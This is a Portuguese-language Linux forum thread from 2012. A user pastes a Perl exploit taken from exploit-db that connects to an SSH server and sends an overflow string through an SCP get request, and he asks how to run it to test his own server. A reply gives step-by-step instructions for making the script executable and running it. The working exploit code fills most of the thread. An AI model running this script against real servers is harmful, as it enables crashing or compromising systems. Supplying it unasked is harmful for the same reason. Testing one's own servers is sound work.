problema com exploit

felipe9980
(usa Ubuntu)

Enviado em 26/04/2012 - 14:03h

galera eu quero saber como eu posso fazer um exploit em perl funcionar porque eu baixei um exploit do www.exploit-db.com só que ele veio em .txt e eu não sei como tranforma ele em um exploite , o exploit é esse =

--------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/perl

use Net::SSH2;
use Getopt::Std;

@overflow = ('A' x 1034);

getopts('H:P:u:p:', \%opts);
$host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'}; $password =
$opts{'p'};

if(!defined($host) || !defined($username))
{
print "\nUsage: $0 -H <host> -P [port] -u <username> -p
[password]\n\n";
exit(0);

}


print "\SCP Get... Beep, Beep";
foreach(@overflow) { $ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection
Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ . "\n\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); }
sleep(1);


close(FD); close(FDD); close(FDDD); close(FDDDD);

exit;
--------------------------------------------------------------------------------------------------------------------------------


veio esse codigo só que eu não sei como compilar ele ou sei lá oque fazer e quero a ajuda de vcs pra isso por favor me ajudem eu preciso ver se o meu servidor e vuneravel a esse exploit!por favorr

nwildner
(usa Red Hat)

Enviado em 27/04/2012 - 17:25h

Não precisa compilar

1 - verifique se o comando "perl" existe no seu linux"

2 - Cola o script acima em um arquivo preferencialmente(não necessariamente) com extensão .pl

3 - Dá permissão de execução: chmod +x arquivo_exemplo.pl

4 - Executa ele: ./arquivo_exemplo.pl ou sh arquivo_exemplo.pl